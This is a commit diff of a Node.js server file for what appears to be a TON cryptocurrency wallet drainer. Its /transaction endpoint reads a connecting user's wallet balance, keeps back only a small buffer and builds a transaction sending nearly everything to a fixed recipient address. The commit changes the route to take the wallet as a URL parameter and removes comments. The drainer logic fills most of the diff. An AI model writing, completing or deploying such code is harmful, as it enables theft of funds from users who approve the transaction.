Update server.js
Browse files
server.js
CHANGED
@@ -55,18 +55,16 @@ async function getWalletBalance(address) {
|
|
55 |
* Transaction: frontend fetches this before sending transaction
|
56 |
* Deducts buffer; fails gracefully if balance is too small.
|
57 |
*/
|
58 |
-
app.get("/transaction", async (req, res) => {
|
59 |
-
const userWallet = req.
|
60 |
console.log("💰 Transaction request from:", userWallet);
|
61 |
|
62 |
if (!userWallet) {
|
63 |
return res.status(400).json({ error: "Wallet address missing" });
|
64 |
}
|
65 |
|
66 |
-
// 👇 Replace this with your TON receiving wallet address
|
67 |
const recipientAddress = "EQCxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
|
68 |
|
69 |
-
// Get balance of the user wallet
|
70 |
const balanceNanoTon = await getWalletBalance(userWallet);
|
71 |
if (!balanceNanoTon) {
|
72 |
return res.status(500).json({ error: "Could not fetch balance" });
|
@@ -74,7 +72,6 @@ app.get("/transaction", async (req, res) => {
|
|
74 |
|
75 |
const balanceTon = balanceNanoTon / 1e9;
|
76 |
|
77 |
-
// If balance is too low, return graceful 0
|
78 |
if (balanceTon < 0.05) {
|
79 |
console.log(`⚠️ Balance too low (${balanceTon} TON). Not building transaction.`);
|
80 |
return res.json({
|
@@ -85,7 +82,6 @@ app.get("/transaction", async (req, res) => {
|
|
85 |
});
|
86 |
}
|
87 |
|
88 |
-
// Deduction buffer
|
89 |
let bufferTon = 0.05;
|
90 |
if (balanceTon > 100) bufferTon = 0.8;
|
91 |
else if (balanceTon > 10) bufferTon = 0.5;
|
@@ -101,7 +97,7 @@ app.get("/transaction", async (req, res) => {
|
|
101 |
{
|
102 |
address: recipientAddress,
|
103 |
amount: sendNanoTon.toString(),
|
104 |
-
payload: ""
|
105 |
}
|
106 |
],
|
107 |
raw: {
|
|
|
55 |
* Transaction: frontend fetches this before sending transaction
|
56 |
* Deducts buffer; fails gracefully if balance is too small.
|
57 |
*/
|
58 |
+
app.get("/transaction/:wallet", async (req, res) => {
|
59 |
+
const userWallet = req.params.wallet;
|
60 |
console.log("💰 Transaction request from:", userWallet);
|
61 |
|
62 |
if (!userWallet) {
|
63 |
return res.status(400).json({ error: "Wallet address missing" });
|
64 |
}
|
65 |
|
|
|
66 |
const recipientAddress = "EQCxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
|
67 |
|
|
|
68 |
const balanceNanoTon = await getWalletBalance(userWallet);
|
69 |
if (!balanceNanoTon) {
|
70 |
return res.status(500).json({ error: "Could not fetch balance" });
|
|
|
72 |
|
73 |
const balanceTon = balanceNanoTon / 1e9;
|
74 |
|
|
|
75 |
if (balanceTon < 0.05) {
|
76 |
console.log(`⚠️ Balance too low (${balanceTon} TON). Not building transaction.`);
|
77 |
return res.json({
|
|
|
82 |
});
|
83 |
}
|
84 |
|
|
|
85 |
let bufferTon = 0.05;
|
86 |
if (balanceTon > 100) bufferTon = 0.8;
|
87 |
else if (balanceTon > 10) bufferTon = 0.5;
|
|
|
97 |
{
|
98 |
address: recipientAddress,
|
99 |
amount: sendNanoTon.toString(),
|
100 |
+
payload: ""
|
101 |
}
|
102 |
],
|
103 |
raw: {
|